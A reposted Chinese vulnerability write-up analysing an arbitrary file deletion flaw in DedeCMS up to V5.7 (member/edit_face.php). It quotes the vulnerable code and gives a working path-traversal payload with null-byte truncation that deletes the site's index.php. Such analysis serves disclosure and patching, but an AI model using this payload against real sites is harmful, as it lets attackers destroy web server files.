网站地图    收藏   

主页 > 后端 > 网站安全 >

DedeCms <= V5.7 (最新版) 任意文件删除漏洞 - 网站

来源:自学PHP网    时间:2015-04-17 14:11 作者: 阅读:

[导读] 利用条件:magic_quotes_gpc=Off 可删除任意后缀文件magic_quotes_gpc=On 可删除jpg|gif|png后缀文件PHP版本要求支持空字节截断./member/edit_face.php 、./member/edit_space_info.php等文件都有类似的代码,......

利用条件:
magic_quotes_gpc=Off 可删除任意后缀文件
magic_quotes_gpc=On 可删除jpg|gif|png后缀文件
PHP版本要求支持空字节截断
 
./member/edit_face.php 、./member/edit_space_info.php等文件都有类似的代码,用于修改用户头像和空间logo等图片。
但是程序对旧的的图片路径过滤不严(其实这个参数根本就没有必要让用户提交),从而导致用户可以删除任意文件或者删除任意图片。
此类漏洞网上早就爆出,但并不是只能删除jpg|gif|png类图片文件,在PHP版本支持空字节截断,且magic_quotes_gpc=Off的时候,
可以删除任意类型的文件。
 
以edit_face.php为例,这个文件还有一个SQL注射漏洞,可以导致管理员密码泄漏,
详见《DedeCMS几个最新bug分析
 
// ./member/edit_face.php
<?php
require_once(dirname(__FILE__)."/config.php");//这里是关键,将影响漏洞的利用
//config.php的前两句很杯具,如下
//require_once(dirname(__FILE__).'/../include/common.inc.php');
//require_once(DEDEINC.'/filter.inc.php');  //这里造成变量覆盖
 
CheckRank(0,0);           //检查用户注册情况
$menutype = 'config';
 
if(!isset($dopost))
{
    $dopost = '';
}
if(!isset($backurl))
{
    $backurl = 'edit_face.php';
}
if($dopost=='save')
{
    $maxlength = $cfg_max_face * 1024;
    $userdir = $cfg_user_dir.'/'.$cfg_ml->M_ID;
 
    if(!preg_match("#^".$userdir."#", $oldface))
    {
        $oldface = '';
    }
 
    if(is_uploaded_file($face))
    {
             // www.2cto.com 绕过上面乱七八糟的判断语句使程序流程进入这里
        if(@filesize($_FILES['face']['tmp_name']) > $maxlength)
        {
            ShowMsg("你上传的头像文件超过了系统限制大小:{$cfg_max_face} K!", '-1');
            exit();
        }
              //删除旧图片(防止文件扩展名不同,如:原来的是gif,后来的是jpg)
        if(preg_match("#.(jpg|gif|png)$#i", $oldface) && file_exists($cfg_basedir.$oldface))
        {
               /*这里只判断了最后是否是.(jpg|gif|png)结尾以及文件是否存在,没有过滤'..'等恶意字符,可返回任意目录删除
                绕过上面的正则和文件是否存在的判断
               如果magic_quotes_gpc=Off因为上面存在的漏洞_RunMagicQuotes函数成了纸老虎
               提交oldface=/f/uploads/userup/6/../../../index.php%00.png
               可删除 网站根目录下的index.php
 
               */
               @unlink($cfg_basedir.$oldface);  //这里删除文件
        }
        //上传新工图片
        $face = MemberUploads('face', $oldface, $cfg_ml->M_ID, 'image', 'myface', 180, 180);
    }

作者: c4rp3nt3r@0x50sec.org

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论